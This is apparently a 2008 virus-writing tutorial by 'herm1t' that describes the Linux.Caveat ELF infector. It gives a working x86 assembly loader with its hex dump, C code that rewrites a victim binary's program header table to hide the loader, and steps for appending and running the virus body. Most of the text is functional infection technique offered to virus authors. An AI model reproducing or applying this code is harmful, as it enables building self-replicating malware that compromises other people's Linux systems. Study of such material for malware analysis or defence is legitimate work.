Caveat virus
herm1t
Caveat virus
herm1t, 2008-02-27
This tutorial explains how to use a small amounts of space within
Program Header Table to inject the tiny loader which will allocate the
memory for the main virus body, load and execute it. Suppose that we
have, say, 64 bytes of unused space inside loadable segment? The
loader might be implemented as follows:
pusha
pushl $0x00006578
pushl $0x652f666c
pushl $0x65732f63
pushl $0x6f72702f
mov %esp,%ebx
sub %ecx,%ecx
push $5
.byte 0xe9
.long 0
pop %eax
int $0x80
pushl $0x55aa55aa # offset in file & 0xfffff000 (*)
push %eax # handle
push $1 # flags (MAP_SHARED)
push $5 # prot (PROT_READ|PROT_EXEC)
push $0x1000 # length
push %ecx # start
mov %esp,%ebx
push $90 # __NR_mmap
pop %eax
int $0x80
jmp *%eax
The above code would open the "/proc/self/exe" for reading, mmap its
tail with read and execute permissions, adjust address returned by
mmap and pass control to the virus. NB! There is no error checking on
both syscalls. Before returning control to the host program, virus
need to clean the stack from loader's local variables and pop saved
registers (add $40,%esp / popa). When you receive control you'll have
your own address in %eax and handle of the infected file in stack. One
might also wish to re-allocate the memory and move there to unmap and
close the file there the virus resides, but this isn't really
neccessary.
Compile it with as loader.s and dump with objdump -s -j .text a.out:
0000 60687865 0000686c 662f6568 632f7365 682f7072 6f89e329 c96a05e9 00000000
0020 58cd8068 aa55aa55 506a016a 05680010 00005189 e36a5a58 cd80ffe0
Only 60 bytes, surely, you can chop a few bytes more, but this is
irrelevant. The virus body should be appended to the file you are
going to infect. Note, that the offset of the virus in file should be
patched (instruction marked by (*), offset 36 in loader). The file
length must be multiple of page size, truncate(2) it before writing
virus body. This limitation is due to mmap(2).
Ok, we have a loader, but where is the promissed space? I think all of
you knew what the Program Header Table is. It filled with entries (32
bytes each) which describe the segments of the program. Some of them
are deadly important (like PT_LOAD or PT_DYNAMIC) and it's not
possible to tell the same about the rest. Let's return to the widely
known method of infection called "Additional Code Segment" [1]. The
sum and substance of it is a replacement of the unused PHT entry with
type PT_NOTE (pointer to .note.ABI-tag section) by PT_LOAD (new
segment with virus code). We can remove PT_NOTE completely without any
consequences. The introduction of the new segment is a quite noticable
change for the experienced user. The interesting thing about PHT is
that it is located in the text segment. So, we have 32 spare bytes
inside PHT and another 32 bytes in .note.ABI-tag section and will use
it for the code itself. We will split the loader into two parts (this
is what jmp 0f; 0: in loader for) and put it there.
BEFORE AFTER
+======================+<----, +======================+<----,
| ELF Header | | | ELF Header | |
+ - - - - - - - - - - -+<---,| + - - - - - - - - - - -+<---,|
| Program Header Table | || | Program Header Table | ||
| PT_PHDR |----'| | PT_PHDR |----'|
| PT_INTERP |-, | | PT_INTERP |-, |
| PT_LOAD |-|---' | PT_LOAD |-|---'
| PT_LOAD |-|-, | PT_LOAD |-|-,
| PT_DYNAMIC | | | | PT_DYNAMIC | | |
| PT_NOTE |-|-|-, | PT_GNU_EH_FRAME | | |
| PT_GNU_EH_FRAME | | | | | PT_GNU_STACK | | |
| PT_GNU_STACK | | | | Entry Point -->| Loader (part 1) jmp|-|-|-,
+----------------------+<' | | +----------------------+<' | |
| .interp | | | | .interp | | |
+----------------------+<--|-' +----------------------+<--|-'
| .note.ABI-tag | | | Loader (part 2) | |
+----------------------+ | +----------------------+ |
| | | | | |
........................ | ........................ |
| | | | | |
+----------------------+<----Entry Point +----------------------+ |
| .text | | | .text | |
........................ | ........................ |
+======================+<--' +======================+<--'
| | | |
........................ ........................
This could be done with the following code (victim was already mmaped,
mapping - m, length - l, ehdr and phdr pointers filled):
uint32_t note, base;
for (i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
base = phdr[i].p_vaddr;
if (phdr[i].p_type == PT_NOTE) {
note = phdr[i].p_offset;
if (i != ehdr->e_phnum - 1)
memcpy(&phdr[i], &phdr[i + 1],
sizeof(Elf32_Phdr) * (ehdr->e_phnum - i
- 1));
ehdr->e_phnum--;
*(uint32_t*)(loader + LOADER_JMP) =
note - (ehdr->e_phoff + sizeof(Elf32_Phdr) * eh
dr->e_phnum + 32);
memcpy(&phdr[ehdr->e_phnum], loader, 32);
memcpy(m + note, loader + 32, 32);
ehdr->e_entry = base + ((char*)&phdr[ehdr->e_phnum] - (
char*)m);
}
}
LOADER_JMP is the offset within loader to the argument of jmp linking
two parts and is equal to 28.
There also a lot of other possible places for the loader. Recently,
comrade F0g showed me his code and I realized that PT_NOTE is not the
only reduntant header. The PT_NOTE was so obvious as a target that I
didn't even thought about the others. Shame on me! And thanks to F0g!
He is replacing the PT_PHDR entry, I also played a bit and found that
PT_GNU_STACK is usually of no use also. So we can put the whole thing
to PHT:
uint32_t base;
Elf32_Phdr new_phdr[ehdr->e_phnum];
int new_phnum = 0;
for (i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
base = phdr[i].p_vaddr;
if (phdr[i].p_type == PT_NOTE || phdr[i].p_type == PT_PHDR || p
hdr[i].p_type == PT_GNU_STACK)
continue;
memcpy(&new_phdr[new_phnum++], &phdr[i], sizeof(Elf32_Phdr));
}
if (ehdr->e_phnum - new_phnum > 1) {
ehdr->e_phnum = new_phnum;
memcpy(phdr, new_phdr, new_phnum * sizeof(Elf32_Phdr));
memcpy(&phdr[new_phnum], loader, sizeof(loader));
ehdr->e_entry = base + ((char*)&phdr[new_phnum] - (char*)m);
}
Both variants presented above was implemented in the Linux.Caveat
virus. There is also the nice side effect with this method - you don't
need to set the infection marker, since the PHT entries could be
removed only once.
Let's think what else could be done. One may shift the .interp section
down in the file to make the hole in PHT and .note.ABI-tag contiguos.
There is also a tiny free spots inside the ELF header and sections
padding. Or you could reduce the .hash size [2].
Comments are welcome. <[1]herm1t@vx.netlux.org>
References
1. Alexander Bartolich, "The ELF Virus Writing HOWTO", 2003
2. herm1t, "Hashin' the elves", 2007
Contact
1. herm1t@vx.netlux.org